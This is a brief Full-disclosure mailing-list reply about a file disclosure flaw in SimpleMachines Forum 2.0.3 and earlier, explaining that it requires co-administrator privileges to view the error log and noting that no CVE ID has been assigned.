Subject: Re: [Full-disclosure] File Disclosure in SimpleMachines Forum <= 2.0.3

The flaw is not exploitable without privileges. On some occasions there are
forums where there are co-admistrators which have privileges to view the
error log but not to modify code or at least read the mysql connection.

Not have CVE-ID.
